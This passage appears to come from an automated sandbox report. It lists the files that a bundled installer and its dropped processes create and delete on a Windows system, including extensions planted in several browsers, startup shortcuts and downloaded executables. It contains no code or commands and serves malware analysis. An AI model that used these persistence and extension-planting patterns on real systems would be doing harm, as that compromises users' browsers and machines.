%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\G0623_s_80314.exe (19594639 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Program Files%\jstm\install_1410999454.tmp (6319 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ptc (9 bytes)
%Program Files%\jstm\juese.exe (12289 bytes)
%Documents and Settings%\All Users\Desktop\绝色唐门.lnk (587 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\Almanac_clnh_2014.8.3._126cl[1].exe (1947589 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\OfficeAssist.0195.80.1015.exe (2265057 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\All Users\Desktop\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\ext[1].7z (106408 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\OfficeAssist.0195.80.1015[1].exe (2265057 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\F0916_s_30897[1].exe (9843602 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\pop.html (947 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\G0623_s_80314[1].exe (19594639 bytes)
%Program Files%\jstm\unist.exe (1624 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Preferences (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (94 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\绝色唐门\绝色唐门.lnk (599 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\background.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\zz.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\background.html (223 bytes)
%Documents and Settings%\All Users\Start Menu\绝色唐门.lnk (587 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\index.js (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_128.png (607 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-16.png (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\All Users\Start Menu\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\img\icon_16.png (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\pop.js (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\redirect.html (137 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\index.html (261 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-48.png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\F0916_s_30897.exe (9843602 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\¢ñnetert Hao¢ñ23.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\manifest.json (1 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\background.html (502 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\content.js (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\绝色唐门.lnk (611 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (93 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Preferences (601 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\jquery.min.js (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\liebao\User Data\Default\Preferences (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360Chrome\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\manifest.json (937 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\_locales\zh_CN\messages.json (493 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\abalpgokkijabpacojnmblmjomlmfbop\1.0.0_0\manifest.json (861 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\绝色唐门.lnk (605 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\jstm\config.ini (379 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\images\icon-128.png (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)
%Documents and Settings%\%current user%\Application Data\360se6\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\css\base.css (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\360se6\User Data\Default\Extensions\mkifighandebjmnepiemnfdeienmhgai\1.0.0_0\js\redirect.js (648 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\dhfoihfkmmaokjckgfloefmjobpgagng\1.0.0_0\res\js\background.js (380 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\Almanac_clnh_2014.8.3._126cl[2].exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\G0623_s_80314[1].exe (0 bytes)
%Program Files%\jstm\install_1410999454.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\F0916_s_30897[1].exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\OfficeAssist.0195.80.1015[2].exe (0 bytes)
%Program Files%\jstm\ptc (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\ext[1].7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ext.7z (0 bytes)

The process OfficeAssist.0195.80.1015.exe:1628 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\FindProcDLL.dll (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\v6svc.dll (1568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\oem.ini (443 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\OfficeAssist.0195.80.1015.exe (37179 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\v6svc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\FindProcDLL.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\oem.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse8.tmp\OfficeAssist.0195.80.1015.exe (0 bytes)

The process OfficeAssist.0195.80.1015.exe:448 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\demo.ppt (1644 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\updateself.exe (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\wpsassist.dll (3361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\3.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\104.png (275 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\6.png (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\1.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_fg.png (256 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\setup.xml (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\updateself.exe (2128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\2.jpg (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\wpsassist.dll (7748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\utility\uninst.exe (5951 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\utility\uninst.exe (3361 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\文档美化大师\文档美化大师.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\cfgs\setup.cfg (501 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\102.png (233 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\100.png (238 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\101.png (951 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\meihua.exe (2268 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\cfgs\setup.cfg (501 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\cfgs\feature.dat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\product.xml (334 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\文档美化大师\卸载.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\31.png (875 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\cfgs\feature.dat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\103.png (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\wpsassist64.dll (5900 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_bg.png (250 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\assistupdate.exe (9662 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\demo.ppt (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\meihua.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\25.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\assistupdate.exe (7726 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\5.png (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6 (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\11.png (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\10.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Kingsoft\WPSAssist\wpsassist64.dll (3073 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_polish.png (340 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\demo.ppt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\utility\uninst.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\cfgs (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\cfgs\setup.cfg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\cfgs\feature.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\utility (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\assistupdate.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_fg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\wpsassist64.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\meihua.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_bg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\updateself.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\install_res\cgpb_polish.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c84a\product.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wpsassist\~8c8e6\wpsassist.dll (0 bytes)

The process fm4svr.exe:1392 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\qqtj2[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\qqtj1[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\qqtj1[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\cb16fabc\DMSet.Xml (214 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\qqtj1[1].htm (0 bytes)

The process fjwyusp.exe:1336 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\s[2].js (3960 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\xkna_50091167828[1].exe (627004 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\softcount[1].htm (109 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\setup_2948-140896[1].exe (1118776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\axuls[1].exe (52983 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\pic[1].gif (719 bytes)
